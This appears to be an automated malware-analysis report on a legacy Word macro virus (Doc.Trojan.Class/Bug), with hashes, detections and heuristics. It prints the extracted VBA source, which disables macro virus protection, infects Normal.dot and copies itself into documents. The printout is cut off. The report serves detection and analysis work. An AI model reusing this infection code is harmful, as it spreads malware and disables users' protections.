Office (OLE) malware analysis — malicious · f37d9fbfed06fdd2

MALICIOUS

Office (OLE)

39.5 KB Created: 1998-08-10 16:02:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14

MD5: a454cc294436056fdfc0a4576c48ce95 SHA-1: 7f7076f22f6d5afe162c6017e567b6ab9e846e91 SHA-256: f37d9fbfed06fdd2e9d4ff1753d4add87247be271b6744f325e48660288ef08b

260 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample exhibits high-confidence heuristics for legacy WordBasic and VBA macros, including AutoOpen and Auto_Close functions. The VBA script attempts to disable virus protection and infect the Normal template (Normal.dot) by copying its code, indicating a macro-based infection and persistence mechanism. The script also includes logic to show a UserForm on specific dates, suggesting a conditional payload execution.

Heuristics 5

ClamAV: Doc.Trojan.Class-38 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Trojan.Class-38
Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS

OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
VBA macros detected medium 2 related findings OLE_VBA_MACROS

Document contains VBA macro code
AutoOpen macro high OLE_VBA_AUTOOPEN

AutoOpen macro
Auto_Close macro high OLE_VBA_AUTOCLOSE

Auto_Close macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	16915 bytes
SHA-256: `64a910565e76edbdcad69c7e4864157bfcfd71bdf1b3b2dbb46007fe4cfb3600`
Detection ClamAV: Doc.Trojan.Bug-5 Obfuscation or payload: unlikely
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Sub AutoOpen() 'BOB8/10/98 12:02:18 PMHP LaserJet 4Si on LPT3:goat.doc BUG.UserForm_Click 'BOB8/10/98 12:02:18 PMHP LaserJet 4Si on LPT3:goat.doc If Day(Now) = 28 And Month(Now) = 7 Then BUG.Show 'BOB8/10/98 12:02:18 PMHP LaserJet 4Si on LPT3:goat.doc End Sub Attribute VB_Name = "BUG" Attribute VB_Base = "0{432A5A4B-306B-11D2-AD56-0000F6B02903}{432A5A39-306B-11D2-AD56-0000F6B02903}" Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = False 'BOB8/10/98 12:02:18 PMHP LaserJet 4Si on LPT3:goat.doc Sub UserForm_Click() 'BOB8/10/98 12:02:18 PMHP LaserJet 4Si on LPT3:goat.doc On Error GoTo out 'BOB8/10/98 12:02:18 PMHP LaserJet 4Si on LPT3:goat.doc Options.VirusProtection = False 'BOB8/10/98 12:02:18 PMHP LaserJet 4Si on LPT3:goat.doc Options.SaveNormalPrompt = False 'BOB8/10/98 12:02:18 PMHP LaserJet 4Si on LPT3:goat.doc Options.ConfirmConversions = False 'BOB8/10/98 12:02:18 PMHP LaserJet 4Si on LPT3:goat.doc ad = ActiveDocument.VBProject.VBComponents.Item(1).codemodule.countoflines 'BOB8/10/98 12:02:18 PMHP LaserJet 4Si on LPT3:goat.doc nt = NormalTemplate.VBProject.VBComponents.Item(1).codemodule.countoflines 'BOB8/10/98 12:02:18 PMHP LaserJet 4Si on LPT3:goat.doc If nt > 0 And ad > 0 Then GoTo out 'BOB8/10/98 12:02:18 PMHP LaserJet 4Si on LPT3:goat.doc If nt = 0 Then 'BOB8/10/98 12:02:18 PMHP LaserJet 4Si on LPT3:goat.doc Set infect = NormalTemplate.VBProject.VBComponents 'BOB8/10/98 12:02:18 PMHP LaserJet 4Si on LPT3:goat.doc Set host = ActiveDocument.VBProject.VBComponents 'BOB8/10/98 12:02:18 PMHP LaserJet 4Si on LPT3:goat.doc host.Item(1).codemodule.replaceline 3, Application.UserInitials & ".UserForm_Click" 'BOB8/10/98 12:02:18 PMHP LaserJet 4Si on LPT3:goat.doc host.Item(1).codemodule.replaceline 5, "If Day(Now) = 28 And Month(Now) = 7 Then " & Application.UserInitials & ".show" 'BOB8/10/98 12:02:18 PMHP LaserJet 4Si on LPT3:goat.doc host.Item(1).Name = infect.Item(1).Name 'BOB8/10/98 12:02:18 PMHP LaserJet 4Si on LPT3:goat.doc host.Item(2).Name = Application.UserInitials 'BOB8/10/98 12:02:18 PMHP LaserJet 4Si on LPT3:goat.doc host.Item(1).Export "c:\one.sys" 'BOB8/10/98 12:02:18 PMHP LaserJet 4Si on LPT3:goat.doc host.Item(2).Export "c:\two.sys" 'BOB8/10/98 12:02:18 PMHP LaserJet 4Si on LPT3:goat.doc End If 'BOB8/10/98 12:02:18 PMHP LaserJet 4Si on LPT3:goat.doc If ad = 0 Then Set infect = ActiveDocument.VBProject.VBComponents 'BOB8/10/98 12:02:18 PMHP LaserJet 4Si on LPT3:goat.doc infect.Import ("c:\two.sys") 'BOB8/10/98 12:02:18 PMHP LaserJet 4Si on LPT3:goat.doc infect.Item(1).codemodule.AddFromFile ("c:\one.sys") 'BOB8/10/98 12:02:18 PMHP LaserJet 4Si on LPT3:goat.doc With infect.Item(1).codemodule 'BOB8/10/98 12:02:18 PMHP LaserJet 4Si on LPT3:goat.doc For x = 1 To 4 'BOB8/10/98 12:02:18 PMHP LaserJet 4Si on LPT3:goat.doc .deletelines 1 'BOB8/10/98 12:02:18 PMHP LaserJet 4Si on LPT3:goat.doc Next x 'BOB8/10/98 12:02:18 PMHP LaserJet 4Si on LPT3:goat.doc If nt = 0 Then 'BOB8/10/98 12:02:18 PMHP LaserJet 4Si on LPT3:goat.doc .insertlines 9, vbCr & "Sub ViewVBCode()" 'BOB8/10/98 12:02:18 PMHP LaserJet 4Si on LPT3:goat.doc .insertlines 11, vbCr & "End Sub" 'BOB8/10/98 12:02:18 PMHP LaserJet 4Si on LPT3:goat.doc .insertlines 13, vbCr & "Sub ToolsMacro()" 'BOB8/10/98 12:02:18 PMHP LaserJet 4Si on LPT3:goat.doc .insertlines 15, vbCr & "End Sub" 'BOB8/10/98 12:02:18 PMHP LaserJet 4Si on LPT3:goat.doc End If 'BOB8/10/98 12:02:18 PMHP LaserJet 4Si on LPT3:goat.doc End With 'BOB8/10/98 12:02:18 PMHP LaserJet 4Si on LPT3:goat.doc If nt = 0 Then infect.Item(1).codemodule.replaceline 1, "Sub AutoClose()" 'BOB8/10/98 12:02:18 PMHP ... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.